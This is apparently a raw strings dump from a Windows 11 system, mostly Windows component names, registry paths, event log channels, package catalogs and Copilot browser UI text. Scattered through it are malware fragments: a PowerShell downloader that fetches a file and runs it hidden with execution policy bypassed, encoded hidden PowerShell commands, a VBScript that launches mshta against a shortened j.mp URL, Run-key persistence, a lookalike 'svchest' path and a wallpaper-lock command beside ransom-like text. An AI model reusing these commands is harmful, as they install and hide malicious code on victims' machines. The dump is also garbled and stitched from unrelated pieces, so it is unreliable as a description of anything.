MACHINE/Software/Policies/Microsoft/Windows NT/DCOM/MachineAccessRestriction
MACHINE/Software/Policies/Microsoft/Windows NT/DCOM/MachineLaunchRestriction
MACHINE/Software/Policies/Microsoft/Windows/Safer/CodeIdentifiers/AuthenticodeEnabled
/Microsoft/Windows/InstallService/RestoreDevice
/Microsoft/Windows/InstallService/ScanForUpdates
/Microsoft/Windows/InstallService/ScanForUpdatesAsUser
/Microsoft/Windows/InstallService/SmartRetry
/Microsoft/Windows/InstallService/WakeUpAndContinueUpdates
/Microsoft/Windows/InstallService/WakeUpAndScanForUpdates
/Microsoft/Windows/Management/Provisioning/MdmDiagnosticsCleanup
/Microsoft/Windows/Management/Provisioning/Retry
/Microsoft/Windows/Management/Provisioning/RunOnReboot
^c:\windows\system32
Microsoft-Windows-DiskDiagnosticDataCollector
Microsoft-Windows-DiskDiagnosticResolver
WindowsActionDialog
Windows Activation Technologies
Windows Defender
Windows Error Reporting
Windows Filtering Platform
Windows Media Sharing
Windows Subsystem For Linux
WindowsBackup
WindowsColorSystem
WindowsUpdate
\windows\tasks\
\windows\system32\tasks\
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
\SystemRoot\System32\drivers\clipsp.sys
WindowsInternal.Shell.UnifiedTile.Private.UnifiedTileUserPinHelper
WindowsInternal.Shell.UnifiedTile.Private.UnifiedTileWpnBroker
WindowsInternal.Shell.UnifiedTile.Private.VerbStringHelper
WindowsInternal.Shell.UnifiedTile.Shim.CuratedTileCollectionManager
WindowsInternal.Shell.UnifiedTile.Shim.LauncherPolicy
WindowsInternal.Shell.UnifiedTile.Shim.UnifiedTileManager
WindowsInternal.Shell.UnifiedTile.TargetedContentUnifiedTileIdentifier
WindowsInternal.Shell.UnifiedTile.TileActivationContext
WindowsInternal.Shell.UnifiedTile.TileImageResourceOptions
WindowsInternal.Shell.UnifiedTile.UnifiedTileIdentifier
WindowsInternal.Shell.UnifiedTile.UnifiedTileIdentifierExtractor
WindowsInternal.Shell.UnifiedTile.UnifiedTileManager
WindowsInternal.Shell.UnifiedTile.UnifiedTileManagerOptions
WindowsInternal.Shell.UnifiedTile.UnknownUnifiedTileIdentifier
WindowsInternal.Shell.UnifiedTile.VerbEnumerationArgs
WindowsInternal.Shell.UnifiedTile.VerbExecutionArgs
WindowsInternal.Shell.UnifiedTile.VisualCache.StartVisualCacheManager
WindowsInternal.Shell.UnifiedTile.Win32UnifiedTileIdentifier
WindowsInternal.ShellUI.FluentThemeResources
WindowsInternal.ShellUI.Grabber
WindowsInternal.ShellUI.ShellUIResources
WindowsInternal.ShellUI.ThemeDropShadow
WindowsInternal.ShellUI.ThemeNineGridShadow
WindowsInternal.ShellUI.ThemeNineGridShadowBrush
WindowsInternal.ShellUI.ThemeShadowElevations
WindowsInternal.ShellUI.XamlMetaDataProvider
WindowsInternal.SmartActionPlatform.SmartClipboard
WindowsInternal.SmartActionPlatform.SmartClipboardProxy
WindowsInternal.SmartActionPlatform.SuggestedActionSink
WindowsInternal.SmartActionPlatform.SuggestedActionsLiveDebugger
WindowsInternal.Xaml.Controls.Tabs.TabDragDroppedEventArgs
WindowsInternal.Xaml.Controls.Tabs.TabDragEnterEventArgs
WindowsInternal.Xaml.Controls.Tabs.TabDragLeaveEventArgs
WindowsInternal.Xaml.Controls.Tabs.TabDragOverEventArgs
WindowsInternal.Xaml.Controls.Tabs.TabDragStartingEventArgs
WindowsInternal.Xaml.Controls.Tabs.TabItem
WindowsInternal.Xaml.Controls.Tabs.TabsViewProperties
WindowsInternal.Xaml.Controls.Tabs.ViewModel.TabItemViewModel
WindowsUdk.AI.MachineLearning.WisePredictionOptions
WindowsUdk.AI.MachineLearning.WisePredictor
WindowsUdk.AI.MachineLearning.WiseRankableItem
WindowsUdk.AI.MachineLearning.WiseRankedItem
WindowsUdk.AI.MachineLearning.WiseRanker
WindowsUdk.AI.MachineLearning.WiseRankingOptions
WindowsUdk.ApplicationModel.Activation.EmbeddedAppActivatedEventArgs
WindowsUdk.ApplicationModel.AppExtensions.AppExtension
WindowsUdk.ApplicationModel.AppExtensions.AppExtensionCatalog
WindowsUdk.ApplicationModel.AppExtensions.ExtensionFactory
WindowsUdk.ApplicationModel.AppExtensions.XamlExtensions
WindowsUdk.ApplicationModel.ApplicationView
WindowsUdk.ApplicationModel.AppLifecycleManagement
WindowsUdk.ApplicationModel.Background.BackgroundTriggerFactory
WindowsUdk.ApplicationModel.Background.CustomSystemTriggerOptions
WindowsUdk.ApplicationModel.Core.CoreApplication
WindowsUdk.ApplicationModel.DataTransfer.ClipboardHistory
WindowsUdk.ApplicationModel.DataTransfer.ClipboardHistoryItem
WindowsUdk.ApplicationModel.DataTransfer.ClipboardHistoryPromotionManager
WindowsUdk.ApplicationModel.DataTransfer.ClipboardSettings
WindowsUdk.ApplicationModel.DataTransfer.ClipboardViewManager
WindowsUdk.ApplicationModel.DataTransfer.DragDropSimulator
WindowsUdk.ApplicationModel.OnScreenInput.KeyboardKeyDefinition
WindowsUdk.ApplicationModel.OnScreenInput.KeyboardModifiersState
WindowsUdk.ApplicationModel.OnScreenInput.KeypadInputState
WindowsUdk.ApplicationModel.OnScreenInput.KnownOnScreenInputUriSchemes
WindowsUdk.ApplicationModel.OnScreenInput.OnScreenInputManager
WindowsUdk.ApplicationModel.OnScreenInput.OnScreenInputPlacement
WindowsUdk.ApplicationModel.OnScreenInput.OnScreenInputPlacementOptions
WindowsUdk.ApplicationModel.OnScreenInput.OnScreenKeyboardState
WindowsUdk.ApplicationModel.OnScreenInput.OnScreenShapeWritingState
WindowsUdk.ApplicationModel.OnScreenInput.TextInputCandidateWindowState
WindowsUdk.ApplicationModel.OnScreenInput.TextInputToolbarState
WindowsUdk.ApplicationModel.Resources.SystemResourceManager
WindowsUdk.ApplicationModel.SearchBox.SearchBoxActivatedEventArgs
WindowsUdk.ApplicationModel.Store.Preview.InstallControl.AppInstallManager
WindowsUdk.ApplicationModel.UserActivities.UserActivity
WindowsUdk.ComposableShell.ActiveComposerChangedEventArgs
WindowsUdk.ComposableShell.ActiveComposerUserChangedEventArgs
WindowsUdk.ComposableShell.ApplyPresentationRequestEventArgs
WindowsUdk.ComposableShell.AppStreamingPresentationOption
WindowsUdk.ComposableShell.BackgroundLifecycleActivationEventArgs
WindowsUdk.ComposableShell.ChromePresentationOption
WindowsUdk.ComposableShell.CompactOverlayPresentationOption
WindowsUdk.ComposableShell.CompactOverlayTopLevelViewPresentationMode
WindowsUdk.ComposableShell.ComposableViewInfo
WindowsUdk.ComposableShell.ComposerContextManager
WindowsUdk.ComposableShell.ComposerRegisteredEventArgs
WindowsUdk.ComposableShell.ComposerRegistrar
WindowsUdk.ComposableShell.ComposerUnregisteredEventArgs
WindowsUdk.ComposableShell.ConsolidateViewEventArgs
WindowsUdk.ComposableShell.ContextChangedEventArgs
WindowsUdk.ComposableShell.DefaultPresentationOption
WindowsUdk.ComposableShell.DefaultTopLevelViewPresentationMode
WindowsUdk.ComposableShell.DisplayRegionRelativeOption
WindowsUdk.ComposableShell.DisplayRegionsOption
WindowsUdk.ComposableShell.ForegroundPolicyManager
WindowsUdk.ComposableShell.FullscreenPresentationOption
WindowsUdk.ComposableShell.FullscreenTopLevelViewPresentationMode
WindowsUdk.ComposableShell.MandatoryPositionAppliedOption
WindowsUdk.ComposableShell.MandatoryPositionChangedOption
WindowsUdk.ComposableShell.ModalExperienceView
WindowsUdk.ComposableShell.ModalExperienceViewCollectionChangedEventArgs
WindowsUdk.ComposableShell.ModalExperienceViewSource
WindowsUdk.ComposableShell.OverlappedPositionerOption
WindowsUdk.ComposableShell.PreferredTopMostZOrderOption
WindowsUdk.ComposableShell.PresentationRequest
WindowsUdk.ComposableShell.PresentationRequestCancelledEventArgs
WindowsUdk.ComposableShell.ProjectionPresentationOption
WindowsUdk.ComposableShell.ProjectionTopLevelViewPresentationMode
WindowsUdk.ComposableShell.RelativeZOrderBeneathOption
WindowsUdk.ComposableShell.SelectTargetTopLevelViewEventArgs
WindowsUdk.ComposableShell.ShellExperienceView
WindowsUdk.ComposableShell.ShellExperienceViewCollectionChangedEventArgs
WindowsUdk.ComposableShell.ShellExperienceViewEventArgs
WindowsUdk.ComposableShell.ShellExperienceViewManager
WindowsUdk.ComposableShell.ShellExperienceViewSource
WindowsUdk.ComposableShell.ShellNegotiableWindowShownOption
WindowsUdk.ComposableShell.ShowModeChangeOption
WindowsUdk.ComposableShell.SizeChangeBatch
WindowsUdk.ComposableShell.SizeOption
WindowsUdk.ComposableShell.SpanningFullscreenPresentationOption
WindowsUdk.ComposableShell.SpanningPresentationOption
WindowsUdk.ComposableShell.SplashScreenDeferral
WindowsUdk.ComposableShell.SupplementalPanePresentationOption
WindowsUdk.ComposableShell.SupplementalPaneTopLevelViewPresentationMode
WindowsUdk.ComposableShell.SystemKeyPressResult
WindowsUdk.ComposableShell.TitleBarColorOverrideChangedEventArgs
WindowsUdk.ComposableShell.TopLevelAppView
WindowsUdk.ComposableShell.TopLevelAppViewEventArgs
WindowsUdk.ComposableShell.TopLevelAppViewManager
WindowsUdk.ComposableShell.TopLevelAppViewSource
WindowsUdk.ComposableShell.TopLevelViewActivationRequestedEventArgs
WindowsUdk.ComposableShell.TopLevelViewChangeApplicationViewStateEventArgs
WindowsUdk.ComposableShell.TopLevelViewCollectionChangedEventArgs
Microsoft.Windows.Taskbar
Microsoft.Windows.Shell.NotificationArea
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.Shell.RecOS
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
WindowsUdk.System.Profile
isWindowsUpdateThirdPartyAppExpeditingEnabled
Windows Defender Exploit Guard
W-executionpolicybypass-noprofile-windowstylehidden
WindowsFeatureCategories
COMMONSTART/Programs/Accessories/Windows Media Player Legacy.lnk
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
Microsoft.WindowsCalculator_8wekyb3d8bbwe!App
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
WindowsSearchCharm.Local_Action_ContactHero
WindowsSearchCharm.Local_ContactHero
Windows Aero
Windows Aero L
Windows Aero XL)
Windows Black
Windows Black (extra large)
Windows Black (large)
Windows Inverted
Windows Inverted (extra large)
Windows Inverted (large)
Windows Standard (extra large)
Windows Standard (large)
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
Windows.System.NearShareExperienceReceive
Windows.SystemToast.MobilityExperience
Windows Block Level Backup
Windows To Go
WindowsAnytimeUpgrade
WindowsBackup
Microsoft-Windows-AAD/Analytic
Microsoft-Windows-AAD/Operational
Microsoft-Windows-AccelLib-AccelCx/Operational
Microsoft-Windows-ActionQueue/Analytic
Microsoft-Windows-ADSI/Debug
Microsoft-Windows-All-User-Install-Agent/Admin
Microsoft-Windows-AppHost/Admin
Microsoft-Windows-AppHost/ApplicationTracing
Microsoft-Windows-AppHost/Diagnostic
Microsoft-Windows-AppHost/Internal
Microsoft-Windows-AppID/Operational
Microsoft-Windows-ApplicabilityEngine/Analytic
Microsoft-Windows-ApplicabilityEngine/Operational
Microsoft-Windows-Application Server-Applications/Admin
Microsoft-Windows-Application Server-Applications/Analytic
Microsoft-Windows-Application Server-Applications/Debug
Microsoft-Windows-Application Server-Applications/Operational
Microsoft-Windows-Application-Experience/Compatibility-Infrastructure-Debug
Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant
Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Analytic
Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant/Trace
Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter
Microsoft-Windows-Application-Experience/Program-Inventory
Microsoft-Windows-Application-Experience/Program-Telemetry
Microsoft-Windows-Application-Experience/Steps-Recorder
Microsoft-Windows-AppLocker/EXE and DLL
Microsoft-Windows-AppLocker/MSI and Script
Microsoft-Windows-AppLocker/Packaged app-Deployment
Microsoft-Windows-AppLocker/Packaged app-Execution
Microsoft-Windows-AppLocker/Verbose
Microsoft-Windows-AppReadiness/Admin
Microsoft-Windows-AppReadiness/Debug
Microsoft-Windows-AppReadiness/Operational
Microsoft-Windows-AppSruProv
Microsoft-Windows-AppXDeployment/Diagnostic
Microsoft-Windows-AppXDeployment/Operational
Microsoft-Windows-AppXDeploymentServer/Debug
Microsoft-Windows-AppXDeploymentServer/Diagnostic
Microsoft-Windows-AppXDeploymentServer/Operational
Microsoft-Windows-AppXDeploymentServer/Restricted
Microsoft-Windows-AppxPackaging/Debug
Microsoft-Windows-AppxPackaging/Operational
Microsoft-Windows-AppxPackaging/Performance
Microsoft-Windows-ASN1/Operational
Microsoft-Windows-AssignedAccess/Admin
Microsoft-Windows-AssignedAccess/Operational
Microsoft-Windows-AssignedAccessBroker/Admin
Microsoft-Windows-AssignedAccessBroker/Operational
Microsoft-Windows-AsynchronousCausality/Causality
Microsoft-Windows-ATAPort/General
Microsoft-Windows-ATAPort/SATA-LPM
Microsoft-Windows-Audio/CaptureMonitor
Microsoft-Windows-Audio/GlitchDetection
Microsoft-Windows-Audio/Informational
Microsoft-Windows-Audio/Operational
Microsoft-Windows-Audio/Performance
Microsoft-Windows-Audio/PlaybackManager
KERNEL32.GetSystemWindowsDirectoryA
KERNEL32.GetSystemWindowsDirectoryW
KERNEL32.GetWindowsDirectoryW
%Microsoft Windows Production PCA 20110
Microsoft Windows0
GetProcessWindowStation
EnumChildWindows
EnumDesktopWindows
SetWindowsHookExW
UnhookWindowsHookEx
EnumThreadWindows
Microsoft.Windows.Health.TestInProduction
Microsoft.Windows.Shell.Propsys
Microsoft.Windows.Shell.Desktop.ThemeHoldback
Microsoft.Windows.HostActivityManager
Microsoft.Windows.Graphics.DXGI
Microsoft.Windows.Graphics.WindowsColorSystemDiagnostics
Microsoft.Windows.CentralResourceManager
Microsoft.Windows.Graphics.DirectWrite
Microsoft.Windows.Graphics.D3D11
Microsoft.Windows.MediaFoundation.JPEGXL
Microsoft.Windows.Graphics.WindowsColorSystem
Microsoft.Windows.AppEnergyManager
Microsoft.Windows.Graphics.WindowsCodecs
Windows
Windows
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.CUI.Activation
Microsoft.Windows.CUI.Activation
Microsoft.Windows.CUI.Activation
Microsoft.Windows.WinRTClassActivation
'savetofile"c:\windows\temp\
DragFullWindows
WindowsEffect
%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe
WindowSize
%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe
WindowSize
WindowSize
WindowsLogoff
WindowsLogon 
WindowsUAC
WindowsUnlock
WindowsLogoff
WindowsLogon 
WindowsUAC
WindowsUnlock
 \system32\drivers\etc\hosts
Windows.SystemToast.CloudExperienceHostLauncherCustom
Windows.SystemToast.DisplaySettings
Windows.SystemToast.FodHelper
Windows.SystemToast.MobilityExperience
Windows.SystemToast.Suggested
Windows.SystemToast.WindowsTip
Windows Error Reporting
Windows
Windows
Windows NT
Microsoft.Windows.Health.TestInProduction
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\system32\svchost.exe -k RPCSS -p
temRoot%\system32\mswsock.dll
dir%\system32\vsocklib.dll
rwindows
RpcSetLastWinlogonNotification
CWinlogonNotify::CUserEnvironment::staticUpdateUserEnvironment
CWinlogonNotify::CUserEnvironment::staticDeleteEnvVarKey
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialogdI
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustAppc@
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App_?
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App^B
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App]/
Microsoft.Windows.Photos_8wekyb3d8bbwe!App
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App\8
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App[&
Microsoft.Windows.ParentalControls
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!AppZA
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!AppY;
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App
Microsoft.Windows.InputSwitchToastHandler
g	Microsoft.Windows.DynamicLightingToastHandler0
Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!AppX;
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!AppW5
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!AppV=
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!AppU5
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!AppT8
c:\Windows\svchest
ComSpec=C:\WINDOWS\system32\cmd.exe
  <assemblyIdentity name="Microsoft.Windows.Common-Controls" version="6.0.26100.7705" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" />
  <file name="comctl32.dll" cmiv2:importPath="$(build.nttree)\asms\60\msft\windows\common\controls" cmiv2:sourceName="">
      <assemblyIdentity name="Microsoft.Windows.Common-Controls.Resources" version="6.0.0.0" processorArchitecture="x86" language="*" publicKeyToken="6595b64144ccf1df" type="win32" />
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="BootRecovery" />
s\system32\
C:\WINDOWS
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
with your secret keyreg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /f
/SOFTWARE\Microsoft\Windows\CurrentVersiop<
thttpErrorPagesScripts[|%WINDIR%\System32\taskhost.exe
%\WindowsApps\*.png
winlogon
\system32	
system32\drivers\etc\hosts127.0.0.1 
C:\WINDOWS\SYSTEM32\
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|26100.1742.cat|
WINDOWS\SYSTEM32
nologo-noprofile-windowstylehidden-executionpolicybypass-encodedcommandjaboaheaygb5ag4aywa9afsauwb5ahmadablag0algbuaguaeab0ac4arqbuagmabwbkagkabgbnaf0aoga6aee@
	RIPT:PS.WinlogonUserinit
-noninteractive-nologo-windowstylehidden-
set-itemproperty-path'hklm:\software\wow6432node\policies\microsoft\windows\powerQ
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialogdI
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustAppc@
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App_?
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App^B
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App]/
Microsoft.Windows.Photos_8wekyb3d8bbwe!App
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App\8
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App[&
Microsoft.Windows.ParentalControls
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!AppZA
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!AppY;
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!App
Microsoft.Windows.InputSwitchToastHandler
g	Microsoft.Windows.DynamicLightingToastHandler0
Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!AppX;
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!AppW5
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!AppV=
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!AppU5
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!AppT8
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreenO%
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUXG:
WINDOWS11
Item@UI@WindowsUdkG
>CreateObject("Wscript.Shell").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\sex.exe\", "M" + "s" + "h" + "t" + "a", "REG_SZ"CreateObject("Wscript.Shell").Run "sex https:\\%20%20@j.mp\ddddjxdsadasdasidjaisd"
tWindows.Kp
OS=Windows_NT
Path=C:\WINDOWS\system32;
.ps1"try{(new-objectsystem.net.webclient).downloadfile($url,$temp)if(test-path$temp){unblock-file-path$temp$psi=new-objectsystem.diagnostics.processstartinfo$psi.filename="powershell.exe"$psi.arguments="-noprofile-executionpolicybypass-windowstylehidden-file`"$temp`""$psi.windowstyle=[system.diagnostics.processwindowstyle]::hidden$psi.createnowindow=$true[system.diagnostics.process]::start($psi)|out-nullstart-sleep-seconds2remove-item-path$temp-force}}catch{}
8c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbtahmaxgbeaggaxgbeahqaxgbeageaiaboaf4axgbeahqadabwahmaogbeac8axgbeaf4
_Software\Microsoft\Windows\CurrentVersion\Run\W32TimeN
Ar9File buffer length error, sure repair.Windows mistakesTENCENT\QQ2009\Install
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scra
Windows.Foundation.Metadata
-windowstyh
\system32\drivers\
WindowsCreateString
WindowsDeleteString
sts.windows.net
sts.windows.net
sts.windows.net
sts.windows.net
sts.windows.net
C:\WINDOWS\system32\SecurityHealthService.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\WINDOWS\system32\wbem\wmiprvse.exe
?Windows10@QOperatingSystemVersion@@2V1@B
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Microsoft-Windows-WMIC-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.5074.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-W3h
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-Se
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
